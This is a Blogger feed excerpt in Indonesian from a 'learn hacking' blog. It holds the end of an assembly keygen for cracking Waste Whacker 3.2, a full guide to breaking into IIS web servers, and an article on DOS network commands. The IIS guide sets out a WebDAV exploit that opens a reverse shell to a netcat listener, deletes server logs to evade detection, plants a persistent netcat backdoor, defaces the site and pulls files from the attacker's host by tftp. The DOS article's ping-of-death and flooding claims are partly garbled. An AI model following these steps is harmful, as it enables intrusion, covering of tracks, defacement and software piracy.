;BL &gt; 61h ( = 'a' ) ???&lt;br /&gt; JB Hrf_Besar&lt;br /&gt; CMP BL, 7Ah    ;BL &lt; 7Ah ( = 'z' ) ???&lt;br /&gt; JA Hrf_Besar&lt;br /&gt; SUB BL, 20h    ;BL = BL - 20h&lt;br /&gt;        MOV     BYTE PTR [EDI+EAX+01],BL ;Ganti huruf kecil dengan &lt;br /&gt;                                                ;huruf besar &lt;br /&gt;Hrf_Besar:&lt;br /&gt; INC EAX    ;EAX = EAX + 1&lt;br /&gt;        LOOP    Konvert    ;Looping sebanyak Karakter &lt;br /&gt;                                                ;Nama        &lt;br /&gt; MOV     ECX, 0Ch                        ;"KeyGen" diulang 12 kali&lt;br /&gt;KeyGen:&lt;br /&gt; XOR EDX, EDX   ;Kosongkan register EDX&lt;br /&gt;        XOR     EAX, EAX   ;Kosongkan register EAX&lt;br /&gt; POP EBX    ;Ambil panjang Nama dari &lt;br /&gt;                                                ;dalam Stack&lt;br /&gt; MOV AL, BL    ;AL = BL&lt;br /&gt; PUSH EBX    ;Simpan Panjang Nama &lt;br /&gt;                                                ;ke dalam Stack kembali&lt;br /&gt; CALL @Proses    ;Jalankan "Proses"&lt;br /&gt; INC EAX    ;EAX = EAX + 1&lt;br /&gt; AND EAX, 000000FFh   ;EAX = EAX and FFh&lt;br /&gt;        MOV     BL, [EAX+EDI]   ;BL=Karakter Nama pada &lt;br /&gt;                                                ;   posisi [EAX + EDX + 01]&lt;br /&gt;Loop1: &lt;br /&gt; MOV EAX, 0Ah   ;EAX = 0Ah&lt;br /&gt; CALL @Proses    ;Jalankan "Proses"&lt;br /&gt;        MOV     Tamp2, AL   ;Tamp2 = AL&lt;br /&gt; DEC BL    ;BL = BL - 1&lt;br /&gt; JNZ Loop1    ;Looping selama BL &lt;&gt; 0&lt;br /&gt;        ADD     [Tamp2], 30h   ;Rubah Tamp2 yang berbentuk &lt;br /&gt;                                                ;Hexa menjadi angka Decimal&lt;br /&gt;        MOV     DL, [Tamp2]&lt;br /&gt;        MOV     AH, 02h&lt;br /&gt;        INT     21h    ;Tampilkan nilai Decimal &lt;br /&gt;                                                ;tersebut&lt;br /&gt;        DEC     ECX    ;ECX = ECX - 1&lt;br /&gt;        JNZ     KeyGen    &lt;br /&gt;        JMP     Selesai&lt;br /&gt;error:&lt;br /&gt;        LEA     EDX,[Err1]&lt;br /&gt; MOV AH,09h&lt;br /&gt; INT 21h    ;Tampilkan Err1 &lt;br /&gt;Selesai:&lt;br /&gt; MOV AX,4C00h&lt;br /&gt; INT 21h    ;Exit Program&lt;br /&gt;@Proses:     ;Procedure "Proses"&lt;br /&gt;        IMUL    EDX, Tamp, 08088405h&lt;br /&gt; INC EDX&lt;br /&gt;        MOV     Tamp, EDX&lt;br /&gt; MUL EDX&lt;br /&gt; MOV EAX, EDX&lt;br /&gt; RET&lt;br /&gt;END START&lt;br /&gt;Catatan Singkat  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk mendapatkan serial number Waste Whacker relatif mudah tetapi membuat KeyGen-nya ternyata lebih sulit dari yang aku duga :-) Semula aku mencoba membuat KeyGen dengan menggunakan Turbo C / C++, ternyata bahasa pemrograman ini ngak bisa mengatasi besarnya angka yang terlibat di dalam pembuatan s/n tersebut. Oleh karena itu, jalan satu - satunya adalah dengan menggunakan Assembly. Keuntungan dari program KeyGen yang menggunakan Assembly adalah ukuran file-nya yang jauh lebih kecil, tapi di lain pihak, tingkat kesulitannya lebih tinggi daripada membuat KeyGen dengan bahasa pemrograman tingkat tinggi seperti Pascal atau Turbo C /  C++. So...choose your language wisely :-)&lt;br /&gt;&lt;br /&gt;Setelah mempelajari beberapa tutorial Kraking yang menggunakan Assembly sebagai bahasa pemrograman, aku mencoba membuat KeyGen Waste Whacker dan ternyata sukses....lumayanlah buat newbie kaya' aku ini :-)&lt;br /&gt;&lt;br /&gt;Selain itu, untuk menyelesaikan KeyGen tersebut, aku juga mendapat bantuan dari SoftICE 2.80 ( DOS Version ),great tools to debug DOS program...... :-)&lt;br /&gt;&lt;br /&gt;Kalo kamu pengen nyoba ngeKrak program lain dengan proteksi serupa, kamu bisa mencoba product DBytes lainnya di http://www.dbytes.com/&lt;br /&gt;GreetZ  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GreetZ buat Kraker - Kraker Asia ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-1329880552696308045?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/1329880552696308045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-waste-whacker-32.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/1329880552696308045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/1329880552696308045'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-waste-whacker-32.html' title='BELAJAR HACKING &quot;Waste Whacker 3.2&quot;'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-5261510511255631895</id><published>2009-04-26T07:37:00.000-07:00</published><updated>2009-04-26T07:41:05.198-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WEBSERVER'/><title type='text'>BELAJAR HACKING : Panduan Melakukan Hacking IIS webserver</title><content type='html'>1) Pendahuluan&lt;br /&gt;&lt;br /&gt;          Pertama-tama sebelum melakukan, biar saya jelaskan kepada anda bahwa hacking atau deface menggunakan suatu exploit yang sudah ada di internet hanya akan menjadikan anda seorang lamer atau perusak. Anda seringkali mendapati orang-orang ini melakukan deface terhadap ratusan situs. Nah, mereka ini bukanlah hacker, melainkan script kiddies, karena mereka menggunakan code yang dibuat orang lain untuk mendeface situs. Hacker yang sejati adalah orang yang menciptakan code exploit dalam ‘0 day’. Dan saya sarankan kepada anda agar JANGAN PERNAH MENJADI SCRIPT KIDDIES untuk memperoleh sedikit ketenaran dan merasa bangga dengan hal tersebut!!!&lt;br /&gt;&lt;br /&gt;2) Adanya Celah Keamanan&lt;br /&gt;&lt;br /&gt;          Ok cukup sudah !! Mari dimulai. Pertamakali tujuan kita untuk melakukan penetrasi adalah menemukan suatu hole. Webserver IIS berisikan banyak celah keamanan yang jika dieksploitasi dengan sesuai dapat memberikan seorang hacker kendali penuh atas sistem tersebut. Celah keamanan yang umum adalah buffer overflow, yakni mengeksploitasi format string. Apakah “Buffer Overflow” itu adalah soal yang lain dan memerlukan artikel tersendiri. Atau lebih baik silakan anda baca terbitan Phrack 49 (www.phrack.com) dengan judul “Smashing The Stack For Fun and Profit”. Disana istilah buffer overflow dijelaskan berdasarkan sudut pandang Linux.&lt;br /&gt;&lt;br /&gt;          Ok, karena webserver IIS menyimpan banyak celah keamanan eksploitasi buffer overflow. Hanya dalam 2 tahun terakhir ini e-eye digital defence team (http://www.eeye.com/) melaporkan adanya buffer overflow pada seluruh ekstensi ISAPI pada IIS Webserver.&lt;br /&gt;&lt;br /&gt;Sebagai contoh suatu request http://www.iissite.com/a.idq?aaaaaaaaaaaaaaaaaa....aaaa&lt;shell_code_anda&gt;&lt;br /&gt;&lt;br /&gt;Sekarang, kapanpun webserver iis mendapatkan request berupa file seperti .idq atau .asp dsb selain .html request dipenuhi oleh file .dll yang spesifik pada webserver. Namun jika seorang hacker mengirimkan request berupa string panjang dari aaa dan mencari angka yang tepat dimana suatu buffer overflow terjadi, maka dia dapat menyesuaikan shell code ditempat tersebut dan menyebabkan shell codenya dieksekusi pada remote machine.&lt;br /&gt;&lt;br /&gt;Catatan: Suatu shell code merupakan kode assembly yang memberikan command prompt pada Win 2000 dan shell jika pada Linux. &lt;br /&gt;&lt;br /&gt;          Tapi saat pertanyaan diajukan mengenai hacking website, kita memerlukan penemuan bug sebelumnya. Kaerna kebanyakan server yang dipatch untuk bug yang ditemukan sebelumnya. Pada dasarnya bug .idq ditemukan dua tahun terakhir tidak akan bekerja hari ini karena kebanyakan server Win 2000 telah dipatch dengan service pack sp3, sp4. Jadi saat ini yang kita perlukan adalah bug terakhir atau dalam dunia perhackingan dinamakan dengan “0day exploit”. Tempat terbaik untuk mencari exploit adalah www.packetstormsecurity.nl, situs ini secara konsisten memuat exploit, code, advisory yang terbaru. Tempat lainnya seperti www.k-otic.com/exploit atau cara terbaik adalah mencari dibagian 0day exploit pada situs kami www.hackersprogrammers.com. Sekarang ini sangat banyak 0day yang sengaja tidak pernah dipublikasikan!!! Dan hanya ditujukan untuk komunitas underground atau orang-orang tertentu yang dikenal sebagai hacker. Untuk mendapatkan exploit yang baik, anda perlu mengadakan kontak dengan hacker yang baik dan berbakat di internet. Dan pilihan terbaik adalah code yang anda buat sendiri (jika anda mampu) maka dengan ini anda mampu menghack berbagai webserver IIS di seluruh dunia!!! J&lt;br /&gt;&lt;br /&gt;3) Mengeksploitasi celah keamanan dan Mengendalikan webserver&lt;br /&gt;&lt;br /&gt;          Ini bagian yang paling menarik. Compile code exploit anda dengan Visual C++ jika berupa kode win c atau gunakan gcc jika berupa kode linux. Jika anda tidak mengetahui hal ini, lebih baik mendownload exploit berbasis GUI dari internet (ini semakin menunjukkan bahwa anda seorang lamer). OK, sekarang sebagai contoh exploit webdave ntdll.dll yang ditemukan 3-4 bulan terakhir. Masih banyaknya server yang vulnerable untuk ini. Terakhir saat salya menuliskan artikel ini ditemukan bug terbaru berupa RPC DCOM oleh LSD. Namun bug RPC DCOM tidak akan bekerja dalam kasus ini karena firewall pada server akan memblok seluruh packet terhadap port 135. Setelah anda melihat-lihat webdave exploit, downloadlah exploit Kralor Webdave. Compile dan download exploit kralor yang berbasis GUI. Shellcode ini berupa jenis yang spesifik. Shellcode yang digunakan  exploit Kralor memberikan suatu reverse shell. Artinya setelah berhasil mengeksploitasi server tersebut akan terhubung ke computer anda melalui suatu command shell!!! Jadi anda memerlukan netcat listener untuk ‘mendengar’ port spesifik pada computer anda. Download tool netcat dari internet dan masuk ke DOS prompt, ketik sebagai berikut:&lt;br /&gt;&lt;br /&gt;D:\nc&gt;nc -Lvp 6666&lt;br /&gt;&lt;br /&gt;Listening on [any] 6666 ....&lt;br /&gt;&lt;br /&gt;          Well, sekarang computer beraksi sebagai suatu server di port 6666 dan listening terhadap berbagai incoming request. Sekarang compile exploit kralor atau gunakan yang berbasis GUI, kemudian masuk ke DOS prompt dan ketik.&lt;br /&gt;&lt;br /&gt;D:\vcproject\webdave\debug&gt;web.exe&lt;br /&gt;&lt;br /&gt;[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] &lt;br /&gt;www.coromputer.net &amp;&amp; undernet #coromputer &lt;br /&gt;&lt;br /&gt;syntax: D:\WEB.EXE &lt;host_target&gt; &lt;host_anda&gt; &lt;port_anda&gt; [padding]&lt;br /&gt;&lt;br /&gt;        Cool !!!  Jadi apa yang harus anda lakukan? Masih bingung? OK, saya sarankan, jika anda ingin menghack suatu server, carilah ip dengan melakukan ping dari DOS. Misalkan ip 123.123.123.123 dan ip kita 200.200.200.200. Pastikan netcat menjalankan beberapa port seperti 6666 dan ketik perintah pada Dos Prompt yang baru:&lt;br /&gt;&lt;br /&gt;D:\vcproject\webdave\debug&gt;web.exe  123.123.123.123  200.200.200.200  6666 &lt;br /&gt;&lt;br /&gt;            Terdapat padding bit yang berbeda. Dalam kasus exploit berbasis GUI dapat melakukannya sendiri, atau membaca kometar dalam exploit tersebut untuk mendapatkan suatu ide mengenai apa padding bit tersebut dan bagaimana cara menggunakannya. Setelah berhasil mengeksploitasi anda akan mendapatkan shell pada netcat listener anda. &lt;br /&gt;&lt;br /&gt;D:\nc&gt;nc -Lvp 6666&lt;br /&gt;&lt;br /&gt;Listening on [any] 6666 ....&lt;br /&gt;connect to 200.200.200.200 from 123.123.123.123&lt;br /&gt;&lt;br /&gt;Microsoft(R) Windows 2000&lt;br /&gt;(C)Copyright Microsoft Corp 1981-2000.&lt;br /&gt;&lt;br /&gt;C:\winnt\system32&gt; &lt;br /&gt;&lt;br /&gt;          Selamat!! Jadi anda berhasil mengeksploitasi bug ntdll.dll pada remote server. Command prompt telah kita dapatkan pada netcat listener yang merupakan command prompt pada remote server.&lt;br /&gt;&lt;br /&gt;4) Apa yang harus dilakuklansetelah melakukan hacking suatu server?&lt;br /&gt;&lt;br /&gt;          Pertama kali yang terpenting yang harus dilakukan setelah melakukan hacking berbagai server di dunia internet adalah menghapus log tersebut. Setelah kita memiliki HTTP Port 80 untuk menghack, kita perlu menghapus log IIS. Direktorinya dalam hal ini ada di C:\winnt\system32\logfiles . Jadi pada shell tersebut anda tinggal mengetik.&lt;br /&gt;&lt;br /&gt;C:\winnt\system32&gt; rmdir /s /q logfiles&lt;br /&gt;&lt;br /&gt;Yang menghapus direktori log file, file dan folder yang terdapat dalam direktori tersebut.&lt;br /&gt;&lt;br /&gt;Catatan: Ini merupakan cara yang buruk dalam menghapus file log. Admin dapat langsung mengetahui bahwa seseorang telah menghacking servernya. Cara lain yang terbaik adalah masuk kedalam direktori logfile dan cari file log yang spesifik dan menghapus hanya pada baris ayng berisikan ip anda.&lt;br /&gt;&lt;br /&gt;Sekarang, setelah megnhapus log file. Anda dapat bermain-main dengan server tersebut. Seluruh server berada dalam kendali anda. Hal terbaik adalah menginstall suatu backdoor pada server tersebut. Membua backdoor senfiri atau sebagai gantinya mengupload netcat apda server tersebut dan menjadinnya listen pada beberapa port yang spesifik dan anda juga dapat menambahkan entri dalam registri jadi dapat tetap dalam keadaan listening bahkan setelah server tersebut direstart.&lt;br /&gt;&lt;br /&gt;Langkah berikutnya, misalkan anda ingin mendeface situs tersebut, maka carilah direktori webrootnya. Direktori default biasanya adalah  C:\inetpub\wwwroot, disana anda akan menemukan file seperti index.html, index.asp, default.html dan file-file lain seperti itu. Jika ada, maka anda sudah berada pada direktori yang dimaksud. Sekarang tinggal membackup file index.html nya. Perintahnya adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;C:\inetpub\wwwroot&gt; copy index.html indexold.html&lt;br /&gt;&lt;br /&gt;C:\inetpub\wwwroot&gt; echo defaced by Chintan Trivedi &gt; index.html&lt;br /&gt;&lt;br /&gt;           Wah !! Akhirnya anda berhasil mendeface situs tersebut. Jika anda ingin mengupload file anda sendiri ke server tersebut, maka anda harus memiliki TFTP server pada sistem anda. Jalankan dan ketik ketik perintah remote shell berikut: &lt;br /&gt;&lt;br /&gt;C:\inetpub\wwwroot&gt; tftp 200.200.200.200 GET index.html  &lt;br /&gt;&lt;br /&gt;          Perintah ini akan mengupload file index.html anda ke web server. Oh ya, contoh diatas dengan anggapan 200.200.200.200 menjadi ip anda. Dan ingatlah mengenai satu hal penting. Webdave exploit dapat menyebabkan crash pada server IIS. Jadi situs tidak akan terbuka dan anda tidak dapat melihat halaman yang terdeface L Jangan khawatir, ada cara untuk merestart IIS pada remote system tersebut, yaitu:&lt;br /&gt;&lt;br /&gt;C:\inetpub\wwwroot&gt; iisreset /restart /rebootonerror /timeout:100&lt;br /&gt;&lt;br /&gt;          Tunggulah sebentar dan bukalah situs tersebut, misalnya www.target.com dan lihat halaman yang telah anda deface!!! Nah ini semua hanyalah satu contoh hacking webserver menggunakan webdave exploit. Terus memperbarui sesi 0day anda di www.hackersprogrammers.com dengan 0day exploit terbaru. Setiap exploit bekerja dengan caranya masing-masing. Anda dapat melihat penjelasan yang tersedia pada exploit tersebut jika anda bukan seorang script kiddie.&lt;br /&gt;&lt;br /&gt;5) Kesimpulan&lt;br /&gt;&lt;br /&gt;          Hal yang perlu saya katakan kepada anda bahwa hacking atau mendeface melalui exploit ‘siap-pakai’ yang tersedia di internet adalah tindakan merusak. Janganlah dilakukan terus menerus. Melakukan hacking suatu server hanya jika anda memang memiliki alasan kuat untuk melakukannya dan anda benar-benar mengetahui apa yang sedang anda lakukan. Jika anda melakukan hacking secara membabi-buta anda hanya akan menyebabkan berbagai kerusakan, kebencian dan tidak memahami bagaimana dunia ini bekerja.&lt;br /&gt;&lt;br /&gt;Dan untuk admin: jika anda ingin melindungi server anda dari hacker, maka langkah terbaik adalah tetap mengupdate dengan service pack terakhir yang disediakan oleh Microsoft. Kedua, kapanpun server anda dihack atau terdeface, silakan periksa pada sistem anda, apakah telah terinstall backdoor, rootkit. Kalau ada, hapuslah. Ketiga menjaga direktori file log dari seseorang yang tidak berhak. IIS menyediakan fasilitas untuk mengubah direktori file log. Tapi dalam berbagai kasus, tetap saja pencegahan jauh lebih baik daripada penyembuhan.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-5261510511255631895?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/5261510511255631895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-panduan-melakukan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5261510511255631895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5261510511255631895'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-panduan-melakukan.html' title='BELAJAR HACKING : Panduan Melakukan Hacking IIS webserver'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-5475979223035579792</id><published>2009-04-26T07:31:00.000-07:00</published><updated>2009-04-26T07:33:54.081-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dos'/><title type='text'>BELAJAR HACKING : Hacking Menggunakan DOS</title><content type='html'>Microsoft DOS datang dengan beberapa hacking tool tersembunyi yang akan saya diskusikan disini. Tool ini dapat ditemukan pada direktori c:\windows jika anda menggunakan win98 dan jika anda menggunakan winxp maka tool ini berada pada C:\winxp\system32. WinXP, Win2000 dan WinNT dirilis dengan beberapa tool internet tambahan. Jadi jika anda masih menggunakan win98 maka saya menyarankan agar menggantinya dengan WinXP. Yang tentunya memiliki fitur securiti tambahan dan perintah hacking internet yang bagus. Dalam manual ini saya akan membahas mengenai beberapa perintah yang ditemukan pada Win98 dan winXP&lt;br /&gt;&lt;br /&gt;        Jadi bagi pengguna window, berikut ini perintah-perintah hacking pada DOS.&lt;br /&gt;&lt;br /&gt;1. ping&lt;br /&gt;2. tracert&lt;br /&gt;3. telnet&lt;br /&gt;4. ftp&lt;br /&gt;5. netstat&lt;br /&gt;&lt;br /&gt;OK, inilah keterangannya. &lt;br /&gt;&lt;br /&gt;1. ping&lt;br /&gt;&lt;br /&gt;Utiliy ini digunakan untuk mencari keberadaan remote host. Yan gmengirmkan sebuah signal SYN ke remote host dan jika remote host membalas maka berarti memang ada suatu remote machine.&lt;br /&gt;&lt;br /&gt;Cobalah anda ketik perintah ini:&lt;br /&gt;&lt;br /&gt;C:\windows&gt;ping/?&lt;br /&gt;&lt;br /&gt;*************&lt;br /&gt;Newbie tip: mengetik '/?' setelah perintah dos menampilkan helpnya. Jadi bagaimana anda belajar aneka perintah dos. Bukankah WinXP, WinNT dan Win2000 juga memiliki perintah ‘help’ untuk menampilkan seluruh perintah dos.&lt;br /&gt;*************&lt;br /&gt;Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] &lt;br /&gt;[-r count] [-s count] [[-j host-list] | [-k host-list]] &lt;br /&gt;[-w timeout] destination-list &lt;br /&gt;&lt;br /&gt;Options: &lt;br /&gt;-t Ping the specified host until stopped. &lt;br /&gt;To see statistics and continue - type Control-Break; &lt;br /&gt;To stop - type Control-C. &lt;br /&gt;-a Resolve addresses to hostnames. &lt;br /&gt;-n count Number of echo requests to send. &lt;br /&gt;-l size Send buffer size. &lt;br /&gt;-f Set Don't Fragment flag in packet. &lt;br /&gt;-i TTL Time To Live. &lt;br /&gt;-v TOS Type Of Service. &lt;br /&gt;-r count Record route for count hops. &lt;br /&gt;-s count Timestamp for count hops. &lt;br /&gt;-j host-list Loose source route along host-list. &lt;br /&gt;-k host-list Strict source route along host-list. &lt;br /&gt;-w timeout Timeout in milliseconds to wait for each reply.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jadi saya dapat melakukan ping ke ip address apapun atau domain name untuk memeriksa keberadaannya di internet. Sebagai contoh saya mengetik “ping localhost” maka saya mendapatkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pinging chintan [127.0.0.1] with 32 bytes of data: &lt;br /&gt;&lt;br /&gt;Reply from 127.0.0.1: bytes=32 time&lt;10ms TTL=128 &lt;br /&gt;Reply from 127.0.0.1: bytes=32 time&lt;10ms TTL=128 &lt;br /&gt;Reply from 127.0.0.1: bytes=32 time&lt;10ms TTL=128 &lt;br /&gt;Reply from 127.0.0.1: bytes=32 time&lt;10ms TTL=128 &lt;br /&gt;&lt;br /&gt;Ping statistics for 127.0.0.1: &lt;br /&gt;Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), &lt;br /&gt;Approximate round trip times in milli-seconds: &lt;br /&gt;Minimum = 0ms, Maximum = 0ms, Average = 0ms &lt;br /&gt;&lt;br /&gt;************&lt;br /&gt;Newbie tip: 'localhost' adalah ip 127.0.0.1 dan merupakan ip address kita sendiri. Juga dikenal sebagai loopback ip. Tapi saat anda terhubung ke internet anda akan diberi ip baru oleh isp anda sebagai identifikasi diri anda. Anda dapat mencari tahu ip anda dengan mengetik”winipcfg” pada menu Start-Run bagi pengguna Win98, sedangkan yang lainnya hanya mengetikkan “ipconfig” pada command prompt. &lt;br /&gt;***********&lt;br /&gt;&lt;br /&gt;Hal ini menunjukkan kepada saya bahwa 32 byte data dikirim ke 127.0.0.1 dan dibalas kembali kurang dari 10ms. TTL adalah Time To Live dan nilai range dari 0 hingga 255 (default 128). Sekarang biar kita lihat apa yang terjadi jika saya mengetik “ping www.yahoo.com”&lt;br /&gt;&lt;br /&gt;Pinging www.yahoo.akadns.net [66.218.71.87] with 32 bytes of data: &lt;br /&gt;&lt;br /&gt;Reply from 66.218.71.87: bytes=32 time=3448ms TTL=54 &lt;br /&gt;Reply from 66.218.71.87: bytes=32 time=2276ms TTL=54 &lt;br /&gt;Reply from 66.218.71.87: bytes=32 time=1799ms TTL=54 &lt;br /&gt;Reply from 66.218.71.87: bytes=32 time=2850ms TTL=54 &lt;br /&gt;&lt;br /&gt;Ping statistics for 66.218.71.87: &lt;br /&gt;Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), &lt;br /&gt;Approximate round trip times in milli-seconds: &lt;br /&gt;Minimum = 1799ms, Maximum = 3448ms, Average = 2593ms &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tapi bagaimana ping tersebut digunakan oleh para hacker? Baiklah, ada dua opsi ‘|’ dan ‘-t’ yang mematikan. -| digunakan untuk spesifikasi ukuran buffer yang dikirimkan (defaultnya 32 byte)  bagaimana jika saya mengetik “ping -| 65600 target.com” maka hal ini akan membawa maut 65600 paket data ke target.com yang lebih tinggi dari kapasitas TCP/IP 65535. Tindakan ini menyebabkan target.com menjadi hang dan harus di restart.&lt;br /&gt;&lt;br /&gt;Dan jika saya mengetik “ping –t target.com” hal ini akan meneruskan pengiriman 32 byte data ke target.com hingga menghabiskan resource dan menyebabkan hang. Dua jenis serangan diatas dikenal sebagai ping attack bagi penyerang Dos.&lt;br /&gt;&lt;br /&gt;***********&lt;br /&gt;Newbie tip: 'Dos' yang terakhir disebutkan adalah Denial of service yang dilancarkan oleh hacker untuk menghentikan service pada remote machine. &lt;br /&gt;***********&lt;br /&gt;Catatan: Jenis serangan ini dimasa lalu sering digunakan, namun saat ini pada sistem yang telah diperbarui hal tersebut tidak akan bekerja lagi. &lt;br /&gt;&lt;br /&gt;2. Tracert&lt;br /&gt;&lt;br /&gt;Perintah Tracert melakukan penjejakan ke remote machine. Sebelum request kita menjangkau remote machine melalui router yang berbeda diantaranya. Tool tracert (dikenal sebagai ‘traceroute’ pada unix) pada awalnya dirancang untuk mencari router mana yang mengalami masalah. Perintah tersebut menunjukkan ip address router yang dilalui request kita sebelum menjangkau remote maching. Sebagai contoh, jika saya mengetik “tracert http://www.yahoo.com/” pada dos prompt maka akan terdapat:&lt;br /&gt;&lt;br /&gt;Tracing route to www.yahoo.akadns.net [66.218.71.87] &lt;br /&gt;over a maximum of 30 hops: &lt;br /&gt;&lt;br /&gt;1 * 2296 ms 2025 ms dialpool-210-214-55-11.maa.sify.net [210.214.55.11] &lt;br /&gt;2 2446 ms 2025 ms 2301 ms dialpool-210-214-55-2.maa.sify.net [210.214.55.2] &lt;br /&gt;3 1899 ms 2066 ms 2450 ms lan-202-144-32-177.maa.sify.net [202.144.32.177] &lt;br /&gt;4 * 2885 ms 2749 ms lan-202-144-83-4.maa.sify.net [202.144.83.4] &lt;br /&gt;5 * * * Request timed out. &lt;br /&gt;6 * * * Request timed out. &lt;br /&gt;7 * * * Request timed out. &lt;br /&gt;8 * * * Request timed out. &lt;br /&gt;9 * * * Request timed out. &lt;br /&gt;10 * 3408 ms * www.yahoo.akadns.net [66.218.71.87] &lt;br /&gt;11 * * * Request timed out. &lt;br /&gt;12 * * * Request timed out. &lt;br /&gt;13 * * * Request timed out. &lt;br /&gt;14 * * * Request timed out. &lt;br /&gt;15 * * * Request timed out. &lt;br /&gt;16 * * * Request timed out. &lt;br /&gt;17 482 ms 698 ms 624 ms w8.scd.yahoo.com [66.218.71.87] &lt;br /&gt;&lt;br /&gt;Trace complete. &lt;br /&gt;&lt;br /&gt;Baris pertama memberitahukan kita ip mana yang menjejaki dan kemudian jumlah hop. Jumlah hop tergantung pada jumlah server yang ada diantaranya. Setelah memulai tracing. Request pertama saya melalui sify.net (nama ISP server saya) kemudian melalui server yang berbeda dan terakhir menjangkau w8.scd.yahoo.com. Jadi kita dapat melihat berapa lama prosedurnya. Kapanpun anda membuka http://www.yahoo.com/ dalam web browser, request anda selalu melalui isp dulu (untuk mendapatkan ip dari http://www.yahoo.com/ dari daftar nama domainnya) kemudian server lain dalam jalur tersebut dan terakhir pada yahoo.&lt;br /&gt;&lt;br /&gt;            Jadi bagaimana tracert digunakan oleh para hacker. Perintah ini digunakan untuk mencari firewall dan melumpuhkannya. Tracer digunakan bersamaan dengan nmap dapat mengetahui ip sebenarnya dimana firewall terpasang, kemudian hacker tersebut akan melumpuhkannya. Untuk contoh diatas kita melihat bahwa proses tracing terhenti pada w8.scd.yahoo.com. Namun hal ini bukanlah tujuan sebenarnya. Hal itu dikarenakan dihentikan oleh firewall. Mengenai masalah firewall akan kita bahas dalam artikel tersendiri.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Telnet&lt;br /&gt;&lt;br /&gt;Jika anda menggunakan windows maka ‘telnet’ merupakan hacking tool terhebat bagi anda. Sebenarnya merupakan sebuah terminal yang dapat mengakses remote machine dan menggunakan service-nya. Melalui telnet anda dapat menentukan suatu koneksi antara mesin anda dan remote machine melalui port tertentu. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;***********&lt;br /&gt;Newbie tip: Disini saya membicarakan tentang virtual port. Tidak secara fisik yang anda lihat dibalik CPU anda. Hanya sebagai physical port yang digunakan untuk koneksi ke hardware dan dengan cara yang sama virtual port digunakan untuk koneksi pada software. TCP/IP memiliki 65,535 virtual port. &lt;br /&gt;***********&lt;br /&gt;Jika anda mengentik “telnet target.com” maka anda terhubung ke target.com pada prot no. 23 (port yang menjalankan telnet service). Anda juga bisa terhubung ke suatu port lainnya dengan mengetik nomor port setelah target.com. sebagai contoh jika saya ingin terhubung ke port no. 25 (SMTP service) maka salya akan mengetik “telnet target.com 25”.&lt;br /&gt;***********&lt;br /&gt;Newbie tip: Setiap port menjalankan service tertentu. Untuk mendaptkan daftar service yang dijalankan pada port tertentu yang  bukalah “C:\windows\services" pada notepad.&lt;br /&gt;***********&lt;br /&gt;Sesaat anda terhubung ke sebuah remote machine pada port tertentu, sebuah window popup telnet dengan daemon yang menjalankan port tersebut menunggu anda mengetikkan perintah. Sebagai contoh “telnet http://www.cyberspace.org/” maka seperti gambar dibawah inilah yang saya dapatkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saya harus login disana dan mengetik suatu password dan saya mendapatkan linux shell prompt. Baiklah jika anda mengetikan newuser disana untuk mendapatkan sebuah LoginID dan Password. Dan stelah itu saya menyiapkan perintah untuk mengeksekusi secara remote.&lt;br /&gt;&lt;br /&gt;Well, http://www.cyberspace.org/ memiliki server Linux. Jadi jika anda tidak familiar dengan Linux anda tidak akan mampu menggunakan service-nya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. FTP&lt;br /&gt;&lt;br /&gt;FTP adalah File Transfer Protocol. Melalui ini anda dapat mendownload atau 